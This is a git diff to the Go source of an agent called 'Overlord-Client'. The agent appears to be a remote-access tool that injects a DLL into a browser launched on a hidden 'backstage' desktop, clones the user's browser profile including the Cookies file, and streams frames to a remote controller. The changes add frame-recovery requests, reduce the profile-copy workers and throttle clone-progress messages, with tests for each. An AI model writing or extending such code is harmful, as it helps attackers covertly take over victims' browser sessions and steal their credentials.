diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
index 3c642ab..6db0a2c 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go
@@ -240,6 +240,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
 			return err
 		}
 		notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
+		RequestDesktopFullFrame()
 		if info.needsPatch && pid != 0 {
 			go func() {
 				defer recoverAndLog("backstage patch opera", nil)
@@ -262,7 +263,9 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
 	}
 	notify("clone", true, fmt.Sprintf("cloning profile from %s", realUserData))
 
+	RequestDesktopFullFrame()
 	cloneDir, err := cloneBrowserProfile(info.name, realUserData, cloneLite, onProgress)
+	RequestDesktopFullFrame()
 	if err != nil {
 		notify("clone", false, fmt.Sprintf("profile clone failed: %v", err))
 		return fmt.Errorf("profile clone failed: %v", err)
@@ -298,6 +301,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by
 		return err
 	}
 	notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
+	RequestDesktopFullFrame()
 	if info.needsPatch && pid != 0 {
 		go func() {
 			defer recoverAndLog("backstage patch opera", nil)
@@ -736,7 +740,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
 		os.MkdirAll(d, 0700)
 	}
 
-	const numWorkers = 8
+	const numWorkers = 2
 	jobCh := make(chan copyJob, 256)
 	var wg sync.WaitGroup
 	var copiedBytes atomic.Int64
diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go
index 3b7cf4d..c238644 100644
--- a/Overlord-Client/cmd/agent/capture/capture.go
+++ b/Overlord-Client/cmd/agent/capture/capture.go
@@ -496,22 +496,23 @@ var (
 	lastKeyframe   atomic.Int64
 	fullNextFrames atomic.Int64
 
-	statFrames          atomic.Int64
-	statCapNs           atomic.Int64
-	statEncNs           atomic.Int64
-	statSendNs          atomic.Int64
-	statTotalNs         atomic.Int64
-	statBytes           atomic.Int64
-	statDetectNs        atomic.Int64
-	statMergeNs         atomic.Int64
-	statBlkJpegNs       atomic.Int64
-	statPrevCopyNs      atomic.Int64
-	statFullFrames      atomic.Int64
-	statBlockFrames     atomic.Int64
-	statKeepaliveFrames atomic.Int64
-	statBlockRegions    atomic.Int64
-	statBlockFallbacks  atomic.Int64
-	statFrameSlotSkips  atomic.Int64
+	desktopRecoveryAfterBackstageStart atomic.Bool
+	statFrames                         atomic.Int64
+	statCapNs                          atomic.Int64
+	statEncNs                          atomic.Int64
+	statSendNs                         atomic.Int64
+	statTotalNs                        atomic.Int64
+	statBytes                          atomic.Int64
+	statDetectNs                       atomic.Int64
+	statMergeNs                        atomic.Int64
+	statBlkJpegNs                      atomic.Int64
+	statPrevCopyNs                     atomic.Int64
+	statFullFrames                     atomic.Int64
+	statBlockFrames                    atomic.Int64
+	statKeepaliveFrames                atomic.Int64
+	statBlockRegions                   atomic.Int64
+	statBlockFallbacks                 atomic.Int64
+	statFrameSlotSkips                 atomic.Int64
 
 	desktopOverrideQuality       atomic.Int64
 	backstageOverrideQuality     atomic.Int64
@@ -655,6 +656,19 @@ func RequestDesktopFullFrame() {
 	RequestDesktopH264Keyframe()
 }
 
+func RequestDesktopRecoveryAfterBackstageStart() {
+	desktopRecoveryAfterBackstageStart.Store(true)
+}
+
+func recoverDesktopAfterBackstageFrame(dataLen int) bool {
+	if dataLen == 0 || !desktopRecoveryAfterBackstageStart.Swap(false) {
+		return false
+	}
+	log.Printf("capture: backstage stream active; requesting desktop recovery frame")
+	RequestDesktopFullFrame()
+	return true
+}
+
 func SetDesktopSoftwareH264(enabled bool) {
 	if desktopSoftwareH264.Swap(enabled) == enabled {
 		return
@@ -1813,6 +1827,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
 		fps = 1
 	}
 	frame.Header.FPS = fps
+	recoverDesktopAfterBackstageFrame(len(frame.Data))
 
 	if ctx.Err() != nil {
 		if slotAcquired {
@@ -1863,6 +1878,7 @@ func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Fram
 		fps = 1
 	}
 	frame.Header.FPS = fps
+	recoverDesktopAfterBackstageFrame(len(frame.Data))
 	if ctx.Err() != nil {
 		return nil
 	}
@@ -1961,6 +1977,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
 		fps = 1
 	}
 	frame.Header.FPS = fps
+	recoverDesktopAfterBackstageFrame(len(frame.Data))
 
 	if ctx.Err() != nil {
 		if slotAcquired {
diff --git a/Overlord-Client/cmd/agent/capture/h264_codec_test.go b/Overlord-Client/cmd/agent/capture/h264_codec_test.go
index 4c87d4a..329ea5d 100644
--- a/Overlord-Client/cmd/agent/capture/h264_codec_test.go
+++ b/Overlord-Client/cmd/agent/capture/h264_codec_test.go
@@ -194,6 +194,24 @@ func TestDesktopAndBackstageH264EncodeConcurrently(t *testing.T) {
 	}
 }
 
+func TestBackstageFirstFrameRequestsDesktopRecoveryOnce(t *testing.T) {
+	desktopRecoveryAfterBackstageStart.Store(false)
+	t.Cleanup(func() {
+		desktopRecoveryAfterBackstageStart.Store(false)
+	})
+
+	RequestDesktopRecoveryAfterBackstageStart()
+	if recoverDesktopAfterBackstageFrame(0) {
+		t.Fatal("empty backstage frame consumed desktop recovery request")
+	}
+	if !recoverDesktopAfterBackstageFrame(1) {
+		t.Fatal("first completed backstage frame did not request desktop recovery")
+	}
+	if recoverDesktopAfterBackstageFrame(1) {
+		t.Fatal("desktop recovery request was not consumed exactly once")
+	}
+}
+
 func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) {
 	prev := os.Getenv(blockCodecEnv)
 	if err := os.Setenv(blockCodecEnv, "raw"); err != nil {
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index abd8388..8abe39c 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -45,6 +45,22 @@ var (
 	fileHashSlots         = make(chan struct{}, 2)
 )
 
+const cloneProgressMinInterval = 100 * time.Millisecond
+
+type cloneProgressLimiter struct {
+	lastSent time.Time
+}
+
+func (l *cloneProgressLimiter) allow(now time.Time, copiedBytes int64, status string) bool {
+	initial := status == "scanning" || (status == "cloning" && copiedBytes == 0)
+	terminal := status == "done" || strings.HasPrefix(status, "done_with_errors|")
+	if !initial && !terminal && !l.lastSent.IsZero() && now.Sub(l.lastSent) < cloneProgressMinInterval {
+		return false
+	}
+	l.lastSent = now
+	return true
+}
+
 type backstageInputKind int
 
 const (
@@ -1117,6 +1133,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 				VirtualMode = v
 			}
 		}
+		capture.RequestDesktopRecoveryAfterBackstageStart()
 		if VirtualMode {
 			env.VirtualMu.Lock()
 			if env.VirtualCancel != nil {
@@ -2063,7 +2080,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		goSafe("backstage_start_browser_injected", nil, func() {
 			var onProgress capture.CloneProgressFunc
 			if clone {
+				var limiter cloneProgressLimiter
 				onProgress = func(percent int, copiedBytes, totalBytes int64, status string) {
+					if !limiter.allow(time.Now(), copiedBytes, status) {
+						return
+					}
 					_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageCloneProgress{
 						Type:        "backstage_clone_progress",
 						Browser:     browser,
@@ -2106,6 +2127,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 				autoStartExplorer = v
 			}
 		}
+		capture.RequestDesktopRecoveryAfterBackstageStart()
 		env.VirtualMu.Lock()
 		if env.VirtualCancel != nil {
 			env.VirtualCancel()
diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
index 5efa069..b3232bc 100644
--- a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
+++ b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
@@ -148,6 +148,27 @@ func TestHandlePingFallsBackForInvalidTimestamp(t *testing.T) {
 	}
 }
 
+func TestCloneProgressLimiterProtectsFrameTraffic(t *testing.T) {
+	var limiter cloneProgressLimiter
+	now := time.Unix(100, 0)
+
+	if !limiter.allow(now, 0, "scanning") {
+		t.Fatal("initial scan progress was suppressed")
+	}
+	if !limiter.allow(now, 0, "cloning") {
+		t.Fatal("initial clone progress was suppressed")
+	}
+	if limiter.allow(now.Add(time.Millisecond), 1, "copying|Default\\Cookies") {
+		t.Fatal("high-frequency file progress was not suppressed")
+	}
+	if !limiter.allow(now.Add(cloneProgressMinInterval), 100, "cloning") {
+		t.Fatal("periodic clone progress was suppressed")
+	}
+	if !limiter.allow(now.Add(cloneProgressMinInterval+time.Millisecond), 100, "done") {
+		t.Fatal("terminal clone progress was suppressed")
+	}
+}
+
 func TestHandleCommand_Ping(t *testing.T) {
 	writer := &testWriter{}
 	env := &rt.Env{